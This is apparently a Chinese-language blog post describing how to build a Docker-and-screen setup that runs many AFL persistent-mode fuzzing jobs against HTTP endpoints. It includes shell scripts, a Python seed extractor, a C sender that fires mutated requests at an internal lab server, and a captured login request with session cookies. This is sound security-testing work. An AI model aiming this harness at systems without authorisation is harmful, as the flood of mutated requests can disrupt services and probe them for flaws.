了解Afl-fuzz之前我们先了解一下什么是模糊测试,定义:模糊测试是一种通过自动或半自动的生成随机数据输入到一个程序中,并监视程序异常,以发现可能的安全漏洞的技术。Fuzzing技术是当前鉴别软件安全问题方面最强大测试技术, American Fuzzy Lop (简称:Afl-fuzz)是一个优秀的模糊测试工具。使用Afl-fuzz 在有源码条件下可以使用afl-gcc 或者 afl-clang-fast 编译源码,afl在编译的时候完成插桩,如果无源码条件下可以使用qemu模式进行插桩. 对于Fuzzing网络程序,可以使用persistent模式进行测试,我鼓捣的就是使用persistent模式进行Fuzzing。

服务器环境:Ubuntu14.04 4核心 8G内存
我的目的:我们用Afl-fuzz的目的很简单,实现快速的对多个样本同时进行Fuzzing。

关于Afl-fuzz的基础用法,有很多前辈写了,可以搜索一波自行学习,这里使用的是while (__AFL_LOOP(1000))写法即persistent模式,使用afl-clang-fast++编译c写的sender, 用于从文件读取Afl变异产生的payload,发起HTTP请求包,简单的可以参考@小葵师傅的https://www.jianshu.com/p/82c361c7d439

简单来说,使用persistent模式运行Afl-fuzz,需要准备这几个东西:

  1. seed 输入样本
  2. out 指定输出目录
  3. sender afl-clang-fast++编译的可执行程序
  4. case.txt 完整的请求包

过程就是: Afl-fuzz工具执行sender, 读取case.txt的基础请求包,使用基于seed进行变形产生的数据替换请求包中标记的位置,这样构造的新的请求包,再发给服务器。

我弄了一个shell脚本,方便我快速编译和运行Afl-fuzz对样本进行Fuzzing.脚本如下:

AFL-分布式模式尝试之shell脚本:

riversec@box:~/test/test/test_shell$ cat run_aflfuzz 
#./run_aflfuzz fuzz_cross_site_uri 5
cd $1
afl-clang-fast++ sender.c -o sender
screen -AmdS MasterFuzz_$1 bash
screen -S MasterFuzz_$1 -X screen afl-fuzz -M master -i seed/ -o out/ ./sender request.txt
for (( i=3; i<$(($2+3)); i++ ))
  do
   screen -AmdS ClusterFuzz$(($i-2))$1 bash
   screen -S ClusterFuzz$(($i-2))$1 -X screen afl-fuzz -S Cluster$(($i-2))$1 -i seed/ -o out/ ./sender request.txt
 done
screen -ls
echo "start over..."

上面的shell实现了afl-clang-fast++编译sender,用了screen管理挂起任务,使用AFL的 Master/Cluster模式进行分布式Fuzzing. 调用命令如下:

./run_aflfuzz fuzz_cross_site_uri 5
  • fuzz_cross_site_uri 是screen会话TAG,方便区分节点
  • request.txt 是burp抓的完整的HTTP请求包
  • seed 是输入,即从HTTP请包中,需要模糊测试的点,提取的值作为变异种子
  • out是输出,AFL的状态信息,输出文件保留在此
  • 数字5 是创建5个节点

虽然上面只对同一个样本进行Fuzzing, 但是实现了分布式Fuzzing,哪么是不是我只需要多执行几次run_aflfuzz命令,再对其他对样本进行测试,就能实现我想要的目的呢?

结果动手了才会发现,事情并不是那么简单。。。

遇到了什么问题?

发现问题1:CPU 核心限制了同时Fuzzing的样本数

因为平时工作时需要测试各种功能,就会有很多种类型的请求包需要进行Fuzzing,我们在同一台机器上想跑多个样本时,总会有遇到如下的提示:

201808231535036581290334.png

使用过Afl-fuzz的同学可能会很熟悉,这都是穷惹的祸啊。。4核心难道就只能跑4个样本了吗??

发现问题2:手动抓样本,制作seed,标记Fuzzing位置

目前条件下,每当我要Fuzzing一个样本,我需要重复做几件事:

  1. burp抓取HTTP包
  2. 使用$替换要Fuzzing的位置,比如tid=888,标记为tid=$
  3. 将888作为seed
  4. 使用afl-fuzz命令开启Fuzzing.

每一个样本都需要做这些操作,虽然没有几步,但是让人很不耐烦。。

一步一步实现

遇到上面的问题后,就开始思索怎么解决。首先解决第一个CPU核心数限制问题,我这里首先想到使用docker虚拟化技术来做,经过验证后发现是可行的。

下面具体说说如何实现。

1.安装docker

第一步安装docker,安装过程这里就不说了。

2.搜索images

搜索仓库里是否有前辈做好的afl的images,直接拿来使用。

docker search afl

搜出来的第一个,就可以直接拿来用,我用的就是这个。如图所示:

201808241535091650456788.png

pull下来做一些自己的定制化后,再docker commint 创建一个自己的新images.

3.创建container

创建容器就很讲究了,我们想要的是用docker来跑多个Fuzzing任务,我们不仅要让他跑起来,还得为后面查看其状态,了解任务信息做准备。Afl-fuzz运行起来后,会将状态信息实时更新在out目录下的文件里。

为了了解任务状态,宿主机就需要能够实时访问到这些记录任务状态的文件,我们就需要通过文件共享来,访问宿主机查看这些文件,所以创建命令如下:

docker run -td --privileged -v /var/docker_afl/share/case1:/case --name "fuzz_node1" -h "fuzz_node1" moflow/afl-tools /bin/bash

宿主机的/var/docker_afl/share/目录下创建case1文件,对应容器的/case目录如下截图:

201808241535093063259488.png

上图的case.txt,是一个准备好之后,创建的节点,里面包括了如下:case.txt文件:完整的HTTP包,out是输出目录,seed是输入目录,sender是用afl-clang-fast++编译的persistent模式写的发包程序,tool.py是写的辅助自动程序后面会说到。

4.准备数据

准备Afl-fuzz程序运行需要的数据,先Burp抓一请求包如下:

POST /ajax/login/backend/?b0QHe3bMd9fNm57=$$$K17GUKsYaGNxIHiFehHlOhNfyy_B9944oJJ8DW_2tsQgytxlxiHVKrGP362pXExTBoA0VwdqYDkheIat1EeiQymXPjk6ZNRPTkjyIo2W63tdF$$$ HTTP/1.1
Host: 10.10.66.132
Content-Length: 25
Accept: */*
Origin: http://10.10.66.132
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://10.10.66.132/ajax/login/
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: csrftoken=fVYWMCFUG6gW4ONjm48179CsKAiamipA; send_log_path=%2Ftmp%2Flog%2Fnew%2Faccess.log.1; FSSBBIl2UgzbN7NCSRF=qDWzcpd3KP1mAw5r0gbsg06pu4TSyuYU; b0QHe3bMd9fNm57=K17GUKsYaGNxIHiFehHlOhNfyy_B9944oJJ8DW_2tsQgytxlxiHVKrGP362pXExTBoA0VwdqYDkheIat1EeiQymXPjk6ZNRPTkjyIo2W63tdF
Connection: close
username=1e&password=1212

这个请求包就是我们需要进行Fuzzing的case1,上面里我使用了$$$来标记需要Fuzz的点(和Sqlmap的引导注入相似)。标记后,其中的原始的参数:

K17GUKsYaGNxIHiFehHlOhNfyy_B9944oJJ8DW_2tsQgytxlxiHVKrGP362pXExTBoA0VwdqYDkheIat1EeiQymXPjk6ZNRPTkjyIo2W63tdF

应当作为seed做样本变异使用,Afl-fuzz工具根据其内部的变异算法产生新的值,然后替换这个,进行发包测试。编写一个辅助脚本tool.py帮助完成,提取标记的值,保存seed的工作,脚本实现如下:

import re
import sys
import os

def alter(inf, ouf):
    with open(inf, "r") as f1, open("%s.bak" % inf, "w") as f2:
        for line in f1:
            flg = re.findall('\$\$\$.+\$\$\$',line)
            if len(flg)>0 and len(flg[0])>1:
                flag = flg[0]
                print "[*] Found:\n\t", flag
                print "[*] seed: ", os.getcwd() + os.sep + "seed"
                with open(ouf, "w") as of:
                    of.write(flag.replace("$$$", ""))
                f2.write(line.replace(flg[0],'$'))
            else:
                f2.write(line)
    os.rename("%s.bak" % inf, inf)
print "[*] run checking...."
alter(sys.argv[1], sys.argv[2])
print "[*] run over...."

上面准备好后,编写sender.c,这个程序实现几个操作 1. 加载case.txt内容 2. 从输入流读取数据替换$case.txt标记的位置即:将Afl产生的变异数据结合成新的请求包,然后使用socket发送给Server.

部分代码如下:

while (__AFL_LOOP(1000)) { 
        memset(copy_file, 0, sizeof(copy_file));
               memcpy(copy_file,request.data(),numread);
                per_req.assign( copy_file );
            memset(target, 0, sizeof(target));
        read( STDIN_FILENO, target, 10240 );
        TrimSpace(target);
        per_req.replace(per_req.find("$"),1,target); 

               // printf( "%s\r\n", per_req.data() );
                
        sockfd                = socket( AF_INET, SOCK_STREAM, 0 );
        dest_addr.sin_family        = AF_INET;
        dest_addr.sin_port        = htons( destport );
        dest_addr.sin_addr.s_addr    = inet_addr( "10.10.66.138" );
        memset( &dest_addr.sin_zero, 0, 8 );


        connect( sockfd, (struct sockaddr *) &dest_addr, sizeof(struct sockaddr) );
        send( sockfd, per_req.data(), strlen( per_req.data() ), 0 );
        //recv( sockfd, buffer, 1024, 0 );
        //printf( "%s", buffer );
        close( sockfd );
    }

地址10.10.66.138就是被Fuzz的服务器地址。

5.初始化Afl-fuzz环境

上面的准备工作做好后,我们现在就可以在宿主机上完成容器里的Afl-fuzz程序运行的准备了。

  • 拷贝case,sender到,tool.py容器里
cp /var/docker_afl/cases/request.txt /var/docker_afl/share/node1/case.txt
cp /var/docker_afl/share/sender.c /var/docker_afl/share/node1/sender.c
cp /var/docker_afl/share/tool.py /var/docker_afl/share/node1/tool.py

这里的node1文件夹对应容器node1的/case目录。将必要的文件拷贝进去。

手动启用节点:(首次默认启用)

docker start fuzz_node1
  • 处理case为sender能处理的格式

在docker里执行命令完成创建环境,执行tool.py辅助脚本,完成提取$$$标记的值做为seed输入值. 创建seed目录

docker exec -it fuzz_node2 bash -c 'python /case/tool.py /case/case.txt /case/1'
docker exec -it fuzz_node2 bash -c 'mkdir /case/seed'
docker exec -it fuzz_node2 bash -c 'mv /case/1 /case/seed/1'

6.开始Fuzzing

现在准备好了环境后我们可以进入到容器开始跑Fuzzing了,有两种方式运行,第一种是进入到容器里,另外一种就是通过bash -c执行命令,让其内部运行起来。如:

docker exec -it $1 bash -c 'afl-fuzz -M master -i /case/seed/ -o /case/out/ /case/sender /case/case.txt'

实践中发现Afl-fuzz的需要保持在终端打开下,上面的方式都不是很妥当,这还得借助screen来实现。实践证明是可行的,命令如下:

screen -AmdS node1 bash
screen -S node1 -X screen docker exec -it fuzz_node1 bash -c 'afl-fuzz -M master -i /case/seed/ -o /case/out/ /case/sender /case/case.txt'

这两条命令执行以后,背后的Afl-fuzz就开始在工作了,可以使用screen -r node1切换进去,就可以看到亲切的Afl-fuzz的界面了。

201808241535098560494608.png

7.写一个shell吧

偷个懒,写一个shell吧,取名就叫:create.sh,内容如下:

docker run -td --privileged -v /var/docker_afl/share/$1:/case --name "$1" -h "$1" komi/afl-fuzz-v2.0 /bin/bash

cp /var/docker_afl/cases/request.txt /var/docker_afl/share/$1/case.txt
cp /var/docker_afl/share/sender.c /var/docker_afl/share/$1/sender.c
cp /var/docker_afl/share/tool.py /var/docker_afl/share/$1/tool.py

docker exec -it $1 bash -c 'python /case/tool.py /case/case.txt /case/1'
docker exec -it $1 bash -c 'mkdir /case/seed'
docker exec -it $1 bash -c 'mv /case/1 /case/seed/1'
docker exec -it $1 bash -c 'afl-clang-fast++ /case/sender.c -o /case/sender'

screen -AmdS $1 bash

效果如下:

201808241535098509748627.png

到这里,一个请求包的FUZZ工作就已经开始了,这是利用AFL生成大量的样本,发起网络请求的黑盒的FUZZ。

8.查看状态

如何查看FUZZ任务状态?文件夹/var/docker_afl/share下的node*, 表示一个独立的Fuzz任务。比如下面存在node0、node1、node2、node3、node9任务。

201808241535101012719458.png

AFL的FUZZ任务状态可以通过查看文件而知,

比如:

我们想要查看刚创建的node1任务的进度信息,需要切换到/var/docker_afl/share/node1/out/master路径,打开fuzzer_stats文件如下:

我们关注测试的速度,1834.11次/s,这表示基于标记的

201808241535101044432478.png

其他:

  1. 查看当前任务的seed

    cat /var/docker_afl/share/node1/seed/1

  2. 查看当前任务的请求case

    cat /var/docker_afl/share/node1/case.txt

  3. 查看AFL运行信息

    screen -r node1

201808241535101415242588.png

  1. 查看138的网络请求

命令:sudo tcpdump -s 1024 -l -A -n -i eth0 src 10.10.66.131

可以确认AFL正在工作...

201808241535101448357785.png

后记

暂无

参考